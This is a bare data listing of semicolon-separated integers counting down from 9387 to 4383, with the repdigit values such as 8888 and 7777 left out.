9387;9386;9385;9384;9383;9382;9381;9380;9379;9378;9377;9376;9375;9374;9373;9372;9371;9370;9369;9368;9367;9366;9365;9364;9363;9362;9361;9360;9359;9358;9357;9356;9355;9354;9353;9352;9351;9350;9349;9348;9347;9346;9345;9344;9343;9342;9341;9340;9339;9338;9337;9336;9335;9334;9333;9332;9331;9330;9329;9328;9327;9326;9325;9324;9323;9322;9321;9320;9319;9318;9317;9316;9315;9314;9313;9312;9311;9310;9309;9308;9307;9306;9305;9304;9303;9302;9301;9300;9299;9298;9297;9296;9295;9294;9293;9292;9291;9290;9289;9288;9287;9286;9285;9284;9283;9282;9281;9280;9279;9278;9277;9276;9275;9274;9273;9272;9271;9270;9269;9268;9267;9266;9265;9264;9263;9262;9261;9260;9259;9258;9257;9256;9255;9254;9253;9252;9251;9250;9249;9248;9247;9246;9245;9244;9243;9242;9241;9240;9239;9238;9237;9236;9235;9234;9233;9232;9231;9230;9229;9228;9227;9226;9225;9224;9223;9222;9221;9220;9219;9218;9217;9216;9215;9214;9213;9212;9211;9210;9209;9208;9207;9206;9205;9204;9203;9202;9201;9200;9199;9198;9197;9196;9195;9194;9193;9192;9191;9190;9189;9188;9187;9186;9185;9184;9183;9182;9181;9180;9179;9178;9177;9176;9175;9174;9173;9172;9171;9170;9169;9168;9167;9166;9165;9164;9163;9162;9161;9160;9159;9158;9157;9156;9155;9154;9153;9152;9151;9150;9149;9148;9147;9146;9145;9144;9143;9142;9141;9140;9139;9138;9137;9136;9135;9134;9133;9132;9131;9130;9129;9128;9127;9126;9125;9124;9123;9122;9121;9120;9119;9118;9117;9116;9115;9114;9113;9112;9111;9110;9109;9108;9107;9106;9105;9104;9103;9102;9101;9100;9099;9098;9097;9096;9095;9094;9093;9092;9091;9090;9089;9088;9087;9086;9085;9084;9083;9082;9081;9080;9079;9078;9077;9076;9075;9074;9073;9072;9071;9070;9069;9068;9067;9066;9065;9064;9063;9062;9061;9060;9059;9058;9057;9056;9055;9054;9053;9052;9051;9050;9049;9048;9047;9046;9045;9044;9043;9042;9041;9040;9039;9038;9037;9036;9035;9034;9033;9032;9031;9030;9029;9028;9027;9026;9025;9024;9023;9022;9021;9020;9019;9018;9017;9016;9015;9014;9013;9012;9011;9010;9009;9008;9007;9006;9005;9004;9003;9002;9001;9000;8999;8998;8997;8996;8995;8994;8993;8992;8991;8990;8989;8988;8987;8986;8985;8984;8983;8982;8981;8980;8979;8978;8977;8976;8975;8974;8973;8972;8971;8970;8969;8968;8967;8966;8965;8964;8963;8962;8961;8960;8959;8958;8957;8956;8955;8954;8953;8952;8951;8950;8949;8948;8947;8946;8945;8944;8943;8942;8941;8940;8939;8938;8937;8936;8935;8934;8933;8932;8931;8930;8929;8928;8927;8926;8925;8924;8923;8922;8921;8920;8919;8918;8917;8916;8915;8914;8913;8912;8911;8910;8909;8908;8907;8906;8905;8904;8903;8902;8901;8900;8899;8898;8897;8896;8895;8894;8893;8892;8891;8890;8889;8887;8886;8885;8884;8883;8882;8881;8880;8879;8878;8877;8876;8875;8874;8873;8872;8871;8870;8869;8868;8867;8866;8865;8864;8863;8862;8861;8860;8859;8858;8857;8856;8855;8854;8853;8852;8851;8850;8849;8848;8847;8846;8845;8844;8843;8842;8841;8840;8839;8838;8837;8836;8835;8834;8833;8832;8831;8830;8829;8828;8827;8826;8825;8824;8823;8822;8821;8820;8819;8818;8817;8816;8815;8814;8813;8812;8811;8810;8809;8808;8807;8806;8805;8804;8803;8802;8801;8800;8799;8798;8797;8796;8795;8794;8793;8792;8791;8790;8789;8788;8787;8786;8785;8784;8783;8782;8781;8780;8779;8778;8777;8776;8775;8774;8773;8772;8771;8770;8769;8768;8767;8766;8765;8764;8763;8762;8761;8760;8759;8758;8757;8756;8755;8754;8753;8752;8751;8750;8749;8748;8747;8746;8745;8744;8743;8742;8741;8740;8739;8738;8737;8736;8735;8734;8733;8732;8731;8730;8729;8728;8727;8726;8725;8724;8723;8722;8721;8720;8719;8718;8717;8716;8715;8714;8713;8712;8711;8710;8709;8708;8707;8706;8705;8704;8703;8702;8701;8700;8699;8698;8697;8696;8695;8694;8693;8692;8691;8690;8689;8688;8687;8686;8685;8684;8683;8682;8681;8680;8679;8678;8677;8676;8675;8674;8673;8672;8671;8670;8669;8668;8667;8666;8665;8664;8663;8662;8661;8660;8659;8658;8657;8656;8655;8654;8653;8652;8651;8650;8649;8648;8647;8646;8645;8644;8643;8642;8641;8640;8639;8638;8637;8636;8635;8634;8633;8632;8631;8630;8629;8628;8627;8626;8625;8624;8623;8622;8621;8620;8619;8618;8617;8616;8615;8614;8613;8612;8611;8610;8609;8608;8607;8606;8605;8604;8603;8602;8601;8600;8599;8598;8597;8596;8595;8594;8593;8592;8591;8590;8589;8588;8587;8586;8585;8584;8583;8582;8581;8580;8579;8578;8577;8576;8575;8574;8573;8572;8571;8570;8569;8568;8567;8566;8565;8564;8563;8562;8561;8560;8559;8558;8557;8556;8555;8554;8553;8552;8551;8550;8549;8548;8547;8546;8545;8544;8543;8542;8541;8540;8539;8538;8537;8536;8535;8534;8533;8532;8531;8530;8529;8528;8527;8526;8525;8524;8523;8522;8521;8520;8519;8518;8517;8516;8515;8514;8513;8512;8511;8510;8509;8508;8507;8506;8505;8504;8503;8502;8501;8500;8499;8498;8497;8496;8495;8494;8493;8492;8491;8490;8489;8488;8487;8486;8485;8484;8483;8482;8481;8480;8479;8478;8477;8476;8475;8474;8473;8472;8471;8470;8469;8468;8467;8466;8465;8464;8463;8462;8461;8460;8459;8458;8457;8456;8455;8454;8453;8452;8451;8450;8449;8448;8447;8446;8445;8444;8443;8442;8441;8440;8439;8438;8437;8436;8435;8434;8433;8432;8431;8430;8429;8428;8427;8426;8425;8424;8423;8422;8421;8420;8419;8418;8417;8416;8415;8414;8413;8412;8411;8410;8409;8408;8407;8406;8405;8404;8403;8402;8401;8400;8399;8398;8397;8396;8395;8394;8393;8392;8391;8390;8389;8388;8387;8386;8385;8384;8383;8382;8381;8380;8379;8378;8377;8376;8375;8374;8373;8372;8371;8370;8369;8368;8367;8366;8365;8364;8363;8362;8361;8360;8359;8358;8357;8356;8355;8354;8353;8352;8351;8350;8349;8348;8347;8346;8345;8344;8343;8342;8341;8340;8339;8338;8337;8336;8335;8334;8333;8332;8331;8330;8329;8328;8327;8326;8325;8324;8323;8322;8321;8320;8319;8318;8317;8316;8315;8314;8313;8312;8311;8310;8309;8308;8307;8306;8305;8304;8303;8302;8301;8300;8299;8298;8297;8296;8295;8294;8293;8292;8291;8290;8289;8288;8287;8286;8285;8284;8283;8282;8281;8280;8279;8278;8277;8276;8275;8274;8273;8272;8271;8270;8269;8268;8267;8266;8265;8264;8263;8262;8261;8260;8259;8258;8257;8256;8255;8254;8253;8252;8251;8250;8249;8248;8247;8246;8245;8244;8243;8242;8241;8240;8239;8238;8237;8236;8235;8234;8233;8232;8231;8230;8229;8228;8227;8226;8225;8224;8223;8222;8221;8220;8219;8218;8217;8216;8215;8214;8213;8212;8211;8210;8209;8208;8207;8206;8205;8204;8203;8202;8201;8200;8199;8198;8197;8196;8195;8194;8193;8192;8191;8190;8189;8188;8187;8186;8185;8184;8183;8182;8181;8180;8179;8178;8177;8176;8175;8174;8173;8172;8171;8170;8169;8168;8167;8166;8165;8164;8163;8162;8161;8160;8159;8158;8157;8156;8155;8154;8153;8152;8151;8150;8149;8148;8147;8146;8145;8144;8143;8142;8141;8140;8139;8138;8137;8136;8135;8134;8133;8132;8131;8130;8129;8128;8127;8126;8125;8124;8123;8122;8121;8120;8119;8118;8117;8116;8115;8114;8113;8112;8111;8110;8109;8108;8107;8106;8105;8104;8103;8102;8101;8100;8099;8098;8097;8096;8095;8094;8093;8092;8091;8090;8089;8088;8087;8086;8085;8084;8083;8082;8081;8080;8079;8078;8077;8076;8075;8074;8073;8072;8071;8070;8069;8068;8067;8066;8065;8064;8063;8062;8061;8060;8059;8058;8057;8056;8055;8054;8053;8052;8051;8050;8049;8048;8047;8046;8045;8044;8043;8042;8041;8040;8039;8038;8037;8036;8035;8034;8033;8032;8031;8030;8029;8028;8027;8026;8025;8024;8023;8022;8021;8020;8019;8018;8017;8016;8015;8014;8013;8012;8011;8010;8009;8008;8007;8006;8005;8004;8003;8002;8001;8000;7999;7998;7997;7996;7995;7994;7993;7992;7991;7990;7989;7988;7987;7986;7985;7984;7983;7982;7981;7980;7979;7978;7977;7976;7975;7974;7973;7972;7971;7970;7969;7968;7967;7966;7965;7964;7963;7962;7961;7960;7959;7958;7957;7956;7955;7954;7953;7952;7951;7950;7949;7948;7947;7946;7945;7944;7943;7942;7941;7940;7939;7938;7937;7936;7935;7934;7933;7932;7931;7930;7929;7928;7927;7926;7925;7924;7923;7922;7921;7920;7919;7918;7917;7916;7915;7914;7913;7912;7911;7910;7909;7908;7907;7906;7905;7904;7903;7902;7901;7900;7899;7898;7897;7896;7895;7894;7893;7892;7891;7890;7889;7888;7887;7886;7885;7884;7883;7882;7881;7880;7879;7878;7877;7876;7875;7874;7873;7872;7871;7870;7869;7868;7867;7866;7865;7864;7863;7862;7861;7860;7859;7858;7857;7856;7855;7854;7853;7852;7851;7850;7849;7848;7847;7846;7845;7844;7843;7842;7841;7840;7839;7838;7837;7836;7835;7834;7833;7832;7831;7830;7829;7828;7827;7826;7825;7824;7823;7822;7821;7820;7819;7818;7817;7816;7815;7814;7813;7812;7811;7810;7809;7808;7807;7806;7805;7804;7803;7802;7801;7800;7799;7798;7797;7796;7795;7794;7793;7792;7791;7790;7789;7788;7787;7786;7785;7784;7783;7782;7781;7780;7779;7778;7776;7775;7774;7773;7772;7771;7770;7769;7768;7767;7766;7765;7764;7763;7762;7761;7760;7759;7758;7757;7756;7755;7754;7753;7752;7751;7750;7749;7748;7747;7746;7745;7744;7743;7742;7741;7740;7739;7738;7737;7736;7735;7734;7733;7732;7731;7730;7729;7728;7727;7726;7725;7724;7723;7722;7721;7720;7719;7718;7717;7716;7715;7714;7713;7712;7711;7710;7709;7708;7707;7706;7705;7704;7703;7702;7701;7700;7699;7698;7697;7696;7695;7694;7693;7692;7691;7690;7689;7688;7687;7686;7685;7684;7683;7682;7681;7680;7679;7678;7677;7676;7675;7674;7673;7672;7671;7670;7669;7668;7667;7666;7665;7664;7663;7662;7661;7660;7659;7658;7657;7656;7655;7654;7653;7652;7651;7650;7649;7648;7647;7646;7645;7644;7643;7642;7641;7640;7639;7638;7637;7636;7635;7634;7633;7632;7631;7630;7629;7628;7627;7626;7625;7624;7623;7622;7621;7620;7619;7618;7617;7616;7615;7614;7613;7612;7611;7610;7609;7608;7607;7606;7605;7604;7603;7602;7601;7600;7599;7598;7597;7596;7595;7594;7593;7592;7591;7590;7589;7588;7587;7586;7585;7584;7583;7582;7581;7580;7579;7578;7577;7576;7575;7574;7573;7572;7571;7570;7569;7568;7567;7566;7565;7564;7563;7562;7561;7560;7559;7558;7557;7556;7555;7554;7553;7552;7551;7550;7549;7548;7547;7546;7545;7544;7543;7542;7541;7540;7539;7538;7537;7536;7535;7534;7533;7532;7531;7530;7529;7528;7527;7526;7525;7524;7523;7522;7521;7520;7519;7518;7517;7516;7515;7514;7513;7512;7511;7510;7509;7508;7507;7506;7505;7504;7503;7502;7501;7500;7499;7498;7497;7496;7495;7494;7493;7492;7491;7490;7489;7488;7487;7486;7485;7484;7483;7482;7481;7480;7479;7478;7477;7476;7475;7474;7473;7472;7471;7470;7469;7468;7467;7466;7465;7464;7463;7462;7461;7460;7459;7458;7457;7456;7455;7454;7453;7452;7451;7450;7449;7448;7447;7446;7445;7444;7443;7442;7441;7440;7439;7438;7437;7436;7435;7434;7433;7432;7431;7430;7429;7428;7427;7426;7425;7424;7423;7422;7421;7420;7419;7418;7417;7416;7415;7414;7413;7412;7411;7410;7409;7408;7407;7406;7405;7404;7403;7402;7401;7400;7399;7398;7397;7396;7395;7394;7393;7392;7391;7390;7389;7388;7387;7386;7385;7384;7383;7382;7381;7380;7379;7378;7377;7376;7375;7374;7373;7372;7371;7370;7369;7368;7367;7366;7365;7364;7363;7362;7361;7360;7359;7358;7357;7356;7355;7354;7353;7352;7351;7350;7349;7348;7347;7346;7345;7344;7343;7342;7341;7340;7339;7338;7337;7336;7335;7334;7333;7332;7331;7330;7329;7328;7327;7326;7325;7324;7323;7322;7321;7320;7319;7318;7317;7316;7315;7314;7313;7312;7311;7310;7309;7308;7307;7306;7305;7304;7303;7302;7301;7300;7299;7298;7297;7296;7295;7294;7293;7292;7291;7290;7289;7288;7287;7286;7285;7284;7283;7282;7281;7280;7279;7278;7277;7276;7275;7274;7273;7272;7271;7270;7269;7268;7267;7266;7265;7264;7263;7262;7261;7260;7259;7258;7257;7256;7255;7254;7253;7252;7251;7250;7249;7248;7247;7246;7245;7244;7243;7242;7241;7240;7239;7238;7237;7236;7235;7234;7233;7232;7231;7230;7229;7228;7227;7226;7225;7224;7223;7222;7221;7220;7219;7218;7217;7216;7215;7214;7213;7212;7211;7210;7209;7208;7207;7206;7205;7204;7203;7202;7201;7200;7199;7198;7197;7196;7195;7194;7193;7192;7191;7190;7189;7188;7187;7186;7185;7184;7183;7182;7181;7180;7179;7178;7177;7176;7175;7174;7173;7172;7171;7170;7169;7168;7167;7166;7165;7164;7163;7162;7161;7160;7159;7158;7157;7156;7155;7154;7153;7152;7151;7150;7149;7148;7147;7146;7145;7144;7143;7142;7141;7140;7139;7138;7137;7136;7135;7134;7133;7132;7131;7130;7129;7128;7127;7126;7125;7124;7123;7122;7121;7120;7119;7118;7117;7116;7115;7114;7113;7112;7111;7110;7109;7108;7107;7106;7105;7104;7103;7102;7101;7100;7099;7098;7097;7096;7095;7094;7093;7092;7091;7090;7089;7088;7087;7086;7085;7084;7083;7082;7081;7080;7079;7078;7077;7076;7075;7074;7073;7072;7071;7070;7069;7068;7067;7066;7065;7064;7063;7062;7061;7060;7059;7058;7057;7056;7055;7054;7053;7052;7051;7050;7049;7048;7047;7046;7045;7044;7043;7042;7041;7040;7039;7038;7037;7036;7035;7034;7033;7032;7031;7030;7029;7028;7027;7026;7025;7024;7023;7022;7021;7020;7019;7018;7017;7016;7015;7014;7013;7012;7011;7010;7009;7008;7007;7006;7005;7004;7003;7002;7001;7000;6999;6998;6997;6996;6995;6994;6993;6992;6991;6990;6989;6988;6987;6986;6985;6984;6983;6982;6981;6980;6979;6978;6977;6976;6975;6974;6973;6972;6971;6970;6969;6968;6967;6966;6965;6964;6963;6962;6961;6960;6959;6958;6957;6956;6955;6954;6953;6952;6951;6950;6949;6948;6947;6946;6945;6944;6943;6942;6941;6940;6939;6938;6937;6936;6935;6934;6933;6932;6931;6930;6929;6928;6927;6926;6925;6924;6923;6922;6921;6920;6919;6918;6917;6916;6915;6914;6913;6912;6911;6910;6909;6908;6907;6906;6905;6904;6903;6902;6901;6900;6899;6898;6897;6896;6895;6894;6893;6892;6891;6890;6889;6888;6887;6886;6885;6884;6883;6882;6881;6880;6879;6878;6877;6876;6875;6874;6873;6872;6871;6870;6869;6868;6867;6866;6865;6864;6863;6862;6861;6860;6859;6858;6857;6856;6855;6854;6853;6852;6851;6850;6849;6848;6847;6846;6845;6844;6843;6842;6841;6840;6839;6838;6837;6836;6835;6834;6833;6832;6831;6830;6829;6828;6827;6826;6825;6824;6823;6822;6821;6820;6819;6818;6817;6816;6815;6814;6813;6812;6811;6810;6809;6808;6807;6806;6805;6804;6803;6802;6801;6800;6799;6798;6797;6796;6795;6794;6793;6792;6791;6790;6789;6788;6787;6786;6785;6784;6783;6782;6781;6780;6779;6778;6777;6776;6775;6774;6773;6772;6771;6770;6769;6768;6767;6766;6765;6764;6763;6762;6761;6760;6759;6758;6757;6756;6755;6754;6753;6752;6751;6750;6749;6748;6747;6746;6745;6744;6743;6742;6741;6740;6739;6738;6737;6736;6735;6734;6733;6732;6731;6730;6729;6728;6727;6726;6725;6724;6723;6722;6721;6720;6719;6718;6717;6716;6715;6714;6713;6712;6711;6710;6709;6708;6707;6706;6705;6704;6703;6702;6701;6700;6699;6698;6697;6696;6695;6694;6693;6692;6691;6690;6689;6688;6687;6686;6685;6684;6683;6682;6681;6680;6679;6678;6677;6676;6675;6674;6673;6672;6671;6670;6669;6668;6667;6665;6664;6663;6662;6661;6660;6659;6658;6657;6656;6655;6654;6653;6652;6651;6650;6649;6648;6647;6646;6645;6644;6643;6642;6641;6640;6639;6638;6637;6636;6635;6634;6633;6632;6631;6630;6629;6628;6627;6626;6625;6624;6623;6622;6621;6620;6619;6618;6617;6616;6615;6614;6613;6612;6611;6610;6609;6608;6607;6606;6605;6604;6603;6602;6601;6600;6599;6598;6597;6596;6595;6594;6593;6592;6591;6590;6589;6588;6587;6586;6585;6584;6583;6582;6581;6580;6579;6578;6577;6576;6575;6574;6573;6572;6571;6570;6569;6568;6567;6566;6565;6564;6563;6562;6561;6560;6559;6558;6557;6556;6555;6554;6553;6552;6551;6550;6549;6548;6547;6546;6545;6544;6543;6542;6541;6540;6539;6538;6537;6536;6535;6534;6533;6532;6531;6530;6529;6528;6527;6526;6525;6524;6523;6522;6521;6520;6519;6518;6517;6516;6515;6514;6513;6512;6511;6510;6509;6508;6507;6506;6505;6504;6503;6502;6501;6500;6499;6498;6497;6496;6495;6494;6493;6492;6491;6490;6489;6488;6487;6486;6485;6484;6483;6482;6481;6480;6479;6478;6477;6476;6475;6474;6473;6472;6471;6470;6469;6468;6467;6466;6465;6464;6463;6462;6461;6460;6459;6458;6457;6456;6455;6454;6453;6452;6451;6450;6449;6448;6447;6446;6445;6444;6443;6442;6441;6440;6439;6438;6437;6436;6435;6434;6433;6432;6431;6430;6429;6428;6427;6426;6425;6424;6423;6422;6421;6420;6419;6418;6417;6416;6415;6414;6413;6412;6411;6410;6409;6408;6407;6406;6405;6404;6403;6402;6401;6400;6399;6398;6397;6396;6395;6394;6393;6392;6391;6390;6389;6388;6387;6386;6385;6384;6383;6382;6381;6380;6379;6378;6377;6376;6375;6374;6373;6372;6371;6370;6369;6368;6367;6366;6365;6364;6363;6362;6361;6360;6359;6358;6357;6356;6355;6354;6353;6352;6351;6350;6349;6348;6347;6346;6345;6344;6343;6342;6341;6340;6339;6338;6337;6336;6335;6334;6333;6332;6331;6330;6329;6328;6327;6326;6325;6324;6323;6322;6321;6320;6319;6318;6317;6316;6315;6314;6313;6312;6311;6310;6309;6308;6307;6306;6305;6304;6303;6302;6301;6300;6299;6298;6297;6296;6295;6294;6293;6292;6291;6290;6289;6288;6287;6286;6285;6284;6283;6282;6281;6280;6279;6278;6277;6276;6275;6274;6273;6272;6271;6270;6269;6268;6267;6266;6265;6264;6263;6262;6261;6260;6259;6258;6257;6256;6255;6254;6253;6252;6251;6250;6249;6248;6247;6246;6245;6244;6243;6242;6241;6240;6239;6238;6237;6236;6235;6234;6233;6232;6231;6230;6229;6228;6227;6226;6225;6224;6223;6222;6221;6220;6219;6218;6217;6216;6215;6214;6213;6212;6211;6210;6209;6208;6207;6206;6205;6204;6203;6202;6201;6200;6199;6198;6197;6196;6195;6194;6193;6192;6191;6190;6189;6188;6187;6186;6185;6184;6183;6182;6181;6180;6179;6178;6177;6176;6175;6174;6173;6172;6171;6170;6169;6168;6167;6166;6165;6164;6163;6162;6161;6160;6159;6158;6157;6156;6155;6154;6153;6152;6151;6150;6149;6148;6147;6146;6145;6144;6143;6142;6141;6140;6139;6138;6137;6136;6135;6134;6133;6132;6131;6130;6129;6128;6127;6126;6125;6124;6123;6122;6121;6120;6119;6118;6117;6116;6115;6114;6113;6112;6111;6110;6109;6108;6107;6106;6105;6104;6103;6102;6101;6100;6099;6098;6097;6096;6095;6094;6093;6092;6091;6090;6089;6088;6087;6086;6085;6084;6083;6082;6081;6080;6079;6078;6077;6076;6075;6074;6073;6072;6071;6070;6069;6068;6067;6066;6065;6064;6063;6062;6061;6060;6059;6058;6057;6056;6055;6054;6053;6052;6051;6050;6049;6048;6047;6046;6045;6044;6043;6042;6041;6040;6039;6038;6037;6036;6035;6034;6033;6032;6031;6030;6029;6028;6027;6026;6025;6024;6023;6022;6021;6020;6019;6018;6017;6016;6015;6014;6013;6012;6011;6010;6009;6008;6007;6006;6005;6004;6003;6002;6001;6000;5999;5998;5997;5996;5995;5994;5993;5992;5991;5990;5989;5988;5987;5986;5985;5984;5983;5982;5981;5980;5979;5978;5977;5976;5975;5974;5973;5972;5971;5970;5969;5968;5967;5966;5965;5964;5963;5962;5961;5960;5959;5958;5957;5956;5955;5954;5953;5952;5951;5950;5949;5948;5947;5946;5945;5944;5943;5942;5941;5940;5939;5938;5937;5936;5935;5934;5933;5932;5931;5930;5929;5928;5927;5926;5925;5924;5923;5922;5921;5920;5919;5918;5917;5916;5915;5914;5913;5912;5911;5910;5909;5908;5907;5906;5905;5904;5903;5902;5901;5900;5899;5898;5897;5896;5895;5894;5893;5892;5891;5890;5889;5888;5887;5886;5885;5884;5883;5882;5881;5880;5879;5878;5877;5876;5875;5874;5873;5872;5871;5870;5869;5868;5867;5866;5865;5864;5863;5862;5861;5860;5859;5858;5857;5856;5855;5854;5853;5852;5851;5850;5849;5848;5847;5846;5845;5844;5843;5842;5841;5840;5839;5838;5837;5836;5835;5834;5833;5832;5831;5830;5829;5828;5827;5826;5825;5824;5823;5822;5821;5820;5819;5818;5817;5816;5815;5814;5813;5812;5811;5810;5809;5808;5807;5806;5805;5804;5803;5802;5801;5800;5799;5798;5797;5796;5795;5794;5793;5792;5791;5790;5789;5788;5787;5786;5785;5784;5783;5782;5781;5780;5779;5778;5777;5776;5775;5774;5773;5772;5771;5770;5769;5768;5767;5766;5765;5764;5763;5762;5761;5760;5759;5758;5757;5756;5755;5754;5753;5752;5751;5750;5749;5748;5747;5746;5745;5744;5743;5742;5741;5740;5739;5738;5737;5736;5735;5734;5733;5732;5731;5730;5729;5728;5727;5726;5725;5724;5723;5722;5721;5720;5719;5718;5717;5716;5715;5714;5713;5712;5711;5710;5709;5708;5707;5706;5705;5704;5703;5702;5701;5700;5699;5698;5697;5696;5695;5694;5693;5692;5691;5690;5689;5688;5687;5686;5685;5684;5683;5682;5681;5680;5679;5678;5677;5676;5675;5674;5673;5672;5671;5670;5669;5668;5667;5666;5665;5664;5663;5662;5661;5660;5659;5658;5657;5656;5655;5654;5653;5652;5651;5650;5649;5648;5647;5646;5645;5644;5643;5642;5641;5640;5639;5638;5637;5636;5635;5634;5633;5632;5631;5630;5629;5628;5627;5626;5625;5624;5623;5622;5621;5620;5619;5618;5617;5616;5615;5614;5613;5612;5611;5610;5609;5608;5607;5606;5605;5604;5603;5602;5601;5600;5599;5598;5597;5596;5595;5594;5593;5592;5591;5590;5589;5588;5587;5586;5585;5584;5583;5582;5581;5580;5579;5578;5577;5576;5575;5574;5573;5572;5571;5570;5569;5568;5567;5566;5565;5564;5563;5562;5561;5560;5559;5558;5557;5556;5554;5553;5552;5551;5550;5549;5548;5547;5546;5545;5544;5543;5542;5541;5540;5539;5538;5537;5536;5535;5534;5533;5532;5531;5530;5529;5528;5527;5526;5525;5524;5523;5522;5521;5520;5519;5518;5517;5516;5515;5514;5513;5512;5511;5510;5509;5508;5507;5506;5505;5504;5503;5502;5501;5500;5499;5498;5497;5496;5495;5494;5493;5492;5491;5490;5489;5488;5487;5486;5485;5484;5483;5482;5481;5480;5479;5478;5477;5476;5475;5474;5473;5472;5471;5470;5469;5468;5467;5466;5465;5464;5463;5462;5461;5460;5459;5458;5457;5456;5455;5454;5453;5452;5451;5450;5449;5448;5447;5446;5445;5444;5443;5442;5441;5440;5439;5438;5437;5436;5435;5434;5433;5432;5431;5430;5429;5428;5427;5426;5425;5424;5423;5422;5421;5420;5419;5418;5417;5416;5415;5414;5413;5412;5411;5410;5409;5408;5407;5406;5405;5404;5403;5402;5401;5400;5399;5398;5397;5396;5395;5394;5393;5392;5391;5390;5389;5388;5387;5386;5385;5384;5383;5382;5381;5380;5379;5378;5377;5376;5375;5374;5373;5372;5371;5370;5369;5368;5367;5366;5365;5364;5363;5362;5361;5360;5359;5358;5357;5356;5355;5354;5353;5352;5351;5350;5349;5348;5347;5346;5345;5344;5343;5342;5341;5340;5339;5338;5337;5336;5335;5334;5333;5332;5331;5330;5329;5328;5327;5326;5325;5324;5323;5322;5321;5320;5319;5318;5317;5316;5315;5314;5313;5312;5311;5310;5309;5308;5307;5306;5305;5304;5303;5302;5301;5300;5299;5298;5297;5296;5295;5294;5293;5292;5291;5290;5289;5288;5287;5286;5285;5284;5283;5282;5281;5280;5279;5278;5277;5276;5275;5274;5273;5272;5271;5270;5269;5268;5267;5266;5265;5264;5263;5262;5261;5260;5259;5258;5257;5256;5255;5254;5253;5252;5251;5250;5249;5248;5247;5246;5245;5244;5243;5242;5241;5240;5239;5238;5237;5236;5235;5234;5233;5232;5231;5230;5229;5228;5227;5226;5225;5224;5223;5222;5221;5220;5219;5218;5217;5216;5215;5214;5213;5212;5211;5210;5209;5208;5207;5206;5205;5204;5203;5202;5201;5200;5199;5198;5197;5196;5195;5194;5193;5192;5191;5190;5189;5188;5187;5186;5185;5184;5183;5182;5181;5180;5179;5178;5177;5176;5175;5174;5173;5172;5171;5170;5169;5168;5167;5166;5165;5164;5163;5162;5161;5160;5159;5158;5157;5156;5155;5154;5153;5152;5151;5150;5149;5148;5147;5146;5145;5144;5143;5142;5141;5140;5139;5138;5137;5136;5135;5134;5133;5132;5131;5130;5129;5128;5127;5126;5125;5124;5123;5122;5121;5120;5119;5118;5117;5116;5115;5114;5113;5112;5111;5110;5109;5108;5107;5106;5105;5104;5103;5102;5101;5100;5099;5098;5097;5096;5095;5094;5093;5092;5091;5090;5089;5088;5087;5086;5085;5084;5083;5082;5081;5080;5079;5078;5077;5076;5075;5074;5073;5072;5071;5070;5069;5068;5067;5066;5065;5064;5063;5062;5061;5060;5059;5058;5057;5056;5055;5054;5053;5052;5051;5050;5049;5048;5047;5046;5045;5044;5043;5042;5041;5040;5039;5038;5037;5036;5035;5034;5033;5032;5031;5030;5029;5028;5027;5026;5025;5024;5023;5022;5021;5020;5019;5018;5017;5016;5015;5014;5013;5012;5011;5010;5009;5008;5007;5006;5005;5004;5003;5002;5001;5000;4999;4998;4997;4996;4995;4994;4993;4992;4991;4990;4989;4988;4987;4986;4985;4984;4983;4982;4981;4980;4979;4978;4977;4976;4975;4974;4973;4972;4971;4970;4969;4968;4967;4966;4965;4964;4963;4962;4961;4960;4959;4958;4957;4956;4955;4954;4953;4952;4951;4950;4949;4948;4947;4946;4945;4944;4943;4942;4941;4940;4939;4938;4937;4936;4935;4934;4933;4932;4931;4930;4929;4928;4927;4926;4925;4924;4923;4922;4921;4920;4919;4918;4917;4916;4915;4914;4913;4912;4911;4910;4909;4908;4907;4906;4905;4904;4903;4902;4901;4900;4899;4898;4897;4896;4895;4894;4893;4892;4891;4890;4889;4888;4887;4886;4885;4884;4883;4882;4881;4880;4879;4878;4877;4876;4875;4874;4873;4872;4871;4870;4869;4868;4867;4866;4865;4864;4863;4862;4861;4860;4859;4858;4857;4856;4855;4854;4853;4852;4851;4850;4849;4848;4847;4846;4845;4844;4843;4842;4841;4840;4839;4838;4837;4836;4835;4834;4833;4832;4831;4830;4829;4828;4827;4826;4825;4824;4823;4822;4821;4820;4819;4818;4817;4816;4815;4814;4813;4812;4811;4810;4809;4808;4807;4806;4805;4804;4803;4802;4801;4800;4799;4798;4797;4796;4795;4794;4793;4792;4791;4790;4789;4788;4787;4786;4785;4784;4783;4782;4781;4780;4779;4778;4777;4776;4775;4774;4773;4772;4771;4770;4769;4768;4767;4766;4765;4764;4763;4762;4761;4760;4759;4758;4757;4756;4755;4754;4753;4752;4751;4750;4749;4748;4747;4746;4745;4744;4743;4742;4741;4740;4739;4738;4737;4736;4735;4734;4733;4732;4731;4730;4729;4728;4727;4726;4725;4724;4723;4722;4721;4720;4719;4718;4717;4716;4715;4714;4713;4712;4711;4710;4709;4708;4707;4706;4705;4704;4703;4702;4701;4700;4699;4698;4697;4696;4695;4694;4693;4692;4691;4690;4689;4688;4687;4686;4685;4684;4683;4682;4681;4680;4679;4678;4677;4676;4675;4674;4673;4672;4671;4670;4669;4668;4667;4666;4665;4664;4663;4662;4661;4660;4659;4658;4657;4656;4655;4654;4653;4652;4651;4650;4649;4648;4647;4646;4645;4644;4643;4642;4641;4640;4639;4638;4637;4636;4635;4634;4633;4632;4631;4630;4629;4628;4627;4626;4625;4624;4623;4622;4621;4620;4619;4618;4617;4616;4615;4614;4613;4612;4611;4610;4609;4608;4607;4606;4605;4604;4603;4602;4601;4600;4599;4598;4597;4596;4595;4594;4593;4592;4591;4590;4589;4588;4587;4586;4585;4584;4583;4582;4581;4580;4579;4578;4577;4576;4575;4574;4573;4572;4571;4570;4569;4568;4567;4566;4565;4564;4563;4562;4561;4560;4559;4558;4557;4556;4555;4554;4553;4552;4551;4550;4549;4548;4547;4546;4545;4544;4543;4542;4541;4540;4539;4538;4537;4536;4535;4534;4533;4532;4531;4530;4529;4528;4527;4526;4525;4524;4523;4522;4521;4520;4519;4518;4517;4516;4515;4514;4513;4512;4511;4510;4509;4508;4507;4506;4505;4504;4503;4502;4501;4500;4499;4498;4497;4496;4495;4494;4493;4492;4491;4490;4489;4488;4487;4486;4485;4484;4483;4482;4481;4480;4479;4478;4477;4476;4475;4474;4473;4472;4471;4470;4469;4468;4467;4466;4465;4464;4463;4462;4461;4460;4459;4458;4457;4456;4455;4454;4453;4452;4451;4450;4449;4448;4447;4446;4445;4443;4442;4441;4440;4439;4438;4437;4436;4435;4434;4433;4432;4431;4430;4429;4428;4427;4426;4425;4424;4423;4422;4421;4420;4419;4418;4417;4416;4415;4414;4413;4412;4411;4410;4409;4408;4407;4406;4405;4404;4403;4402;4401;4400;4399;4398;4397;4396;4395;4394;4393;4392;4391;4390;4389;4388;4387;4386;4385;4384;4383;